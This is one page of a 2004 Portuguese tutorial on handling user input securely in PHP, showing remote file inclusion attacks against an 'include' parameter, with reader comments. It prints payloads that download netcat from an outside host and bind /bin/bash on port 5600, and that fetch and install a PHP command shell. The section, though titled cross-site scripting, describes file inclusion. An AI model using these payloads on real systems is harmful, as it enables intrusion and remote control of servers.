Tratamento de dados fornecidos pelo usuário: projetando sistemas com mais segurança

De uns tempos para cá comecei a notar que mais gente está programando e conseqüentemente mais gente está entrando no mercado de trabalho precocemente. Estão iniciando sua viagem pelo maravilhoso mundo do desenvolvimento web muito inocentemente, no entanto não sabem eles - os desenvolvedores newbies ou negligentes - que existem usuários maliciosos olho no seu sistema.

[ Hits: 86.984 ]

Por: Ragen Dazs em 07/04/2004 | Blog: http://www.orkut.com


Cross site script



É pornograficamente importante restringirmos as informações que usamos pelos nossos códigos para os usuários finais, e atentarmos que as informações que são geradas por um lado PODE (e nossos códigos são originalmente projetados para isso) ser recebida por outro lado, mas esse último (no caso um script que processa alguma informação) pode ser "enganado" por dados gerados pelo lado do usuário. Constantemente as funções include(), require() e fopen() são utilizadas por muitos programadores devido a flexibilidade que ele proporciona no desenvolvimento, mas a utilização destas funções, assim como a configuração das variáveis globais no servidor é fundamental para manter um nível de segurança aceitável.

Imagine agora o seguinte exemplo:

http://host.com.br/index.php?include=corpo.htm

Se nesse caso é permitido o uso de barras, e/ou é permitido include de arquivos remotos, e/ou não é verificada a extensão do arquivo passado por $_GET['include'] para a função include esse site certamente aceita atravessamentos.

Vejamos um exemplo de ataque:

http://host.com.br/index.php?include=meu_host/planta_netcat.php

Agora o código de planta_netcat.php:

<?php
system("wget host_qualquer/nc");
system("./nc -l -p 5600 -e /bin/bash");
?>

OBS: O netcat é um utilitário de networking em geral que lê e escreve dados usando o protocolo de TCP/IP. Ele foi projetado para ser uma ferramenta "back-end" de confiança que pode ser usada diretamente ou facilmente ser dirigida por outros programas e certificados.

Ao mesmo tempo, é uma poderosa ferramenta para debugação e exploração de redes, porque ela pode criar quase qualquer tipo da conexão que você necessitaria e tem diversas potencialidades interessantes já built-in. E atualmente ele fornece o acesso às seguintes características principais:
  • Conexões outbound e inbound, TCP ou UDP, para ou de qualquer porta.
  • Features de tunelamento UDP e TCP, com a possibilidade de especificar todos os parâmetros de rede (a porta fonte/interface e porta/interface de escuta, e o anfitrião remoto reservado para conectar ao túnel).
  • Port-scanning built-in aleatório. Entre outras características.

Mas no nosso exemplo do planta_netcat.php, estamos bindando o bash e fazendo com que ele fique escutando na porta 5600, ou seja, teremos uma "shell" na porta 5600.

Vejamos outro exemplo:

http://host.com.br/index.php?include=meu_host/planta_backdoor.php

Agora vejamos planta_backdoor.php:

<?php
// Evitando extensão .php para prevenir que o wget
// não baixe a saída de ssh_cli.php, se isso ocorrer
// devido o host origem suportar php o ssh_cli é
// baixado no servidor de origem e não no servidor de destino

system("wget host_qualquer/ssh_cli");
system("mv ssh_cli ssh_cli.php");
?>

Agora o código do ssh_cli:

<?php
echo '<pre>';

// Mostra todo o resultado do comando do shell "ls", e retorna
// a última linha da saída em $last_line. Guarda o valor de retorno
// do comando shell em $retval.
$last_line = system('ls', $retval);

// Mostrando informação adicional
echo '
</pre>
<hr>Última linha da saída: '.$last_line.'
<hr>Valor de Retorno: '.$retval;
?>

Pronto, agora você já tem uma shell, ou seja, uma conta para explorar falhas locais.

Página anterior     Próxima página

Páginas do artigo
   1. Início
   2. Descrição do ambiente
   3. Tratando dados
   4. O que são códigos arbitrários
   5. O que é SQL injection
   6. Escapando strings
   7. Coringas e meta caracteres
   8. Escapando argumentos em shell
   9. O que são casts
   10. Denial of Service em sua página
   11. Cross site script
   12. Explorando falhas locais
   13. Agradecimentos
Outros artigos deste autor

Montando um workstation de desenvolvimento web em GNU/Linux

Usando cache na classe Fast Template

Populando sua SpamTrap com e-mails relevantes

Verdades e mentiras sobre tecnologias WEB

Instalando o Allegro

Leitura recomendada

Rootsh - Auditando/monitorando o root e demais usuários do GNU/Linux

Proxy reverso e balanceamento de carga utilizando o Pound

SSH Blindado - Protegendo o seu sistema de ataques SSH

Técnicas forenses para identificação da invasão e do invasor em sistemas Unix/Linux através do SSH (parte 1)

Segurança em seu Linux

  
Comentários
[1] Comentário enviado por gustavo_marcon em 07/04/2004 - 19:19h

Cara, muito legal mesmo teu artigo, só achei que vc poderia ter dado uns toques de comandos que podem ser usados pra evitar por exemplo o SQL Injection, mas no mais, tá 10 mesmo. Parabéns.

[2] Comentário enviado por Ragen em 08/04/2004 - 00:31h

Olá Gustavo,

Note que logo abaixo de "O que é SQL injection" tem o que você quer "Escapando Strings", nessa parte é abordado como evitar os bendidos códigos maliciosos...

Só queria fazer mais um pequeno comentário:

Na parte onde eu falo sobre netcat eu fiz algumas pequenas mudanças desde a data de publicação do arquivo, por que eu deixo o assunto muito vago e sem nenhum exemplo concreto do seu uso....

Esse mesmo artigo pode ser encontrado em http://www.florecultura.com.br/bkp/artigo_tratamento.txt

[]`s

Ragen

[3] Comentário enviado por fabio em 11/04/2004 - 14:39h

Putz, acabou que com uma dica sua resolvi de forma trivial um problema que tinha no sistema de busca interno do site. Por exemplo, se você digitasse "sites celular" nada era encontrado. Daí mandei o sistema substituir espaços por %, agora buscas com palavras compostas funcionam. :)

Valeu pela dica!!!


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts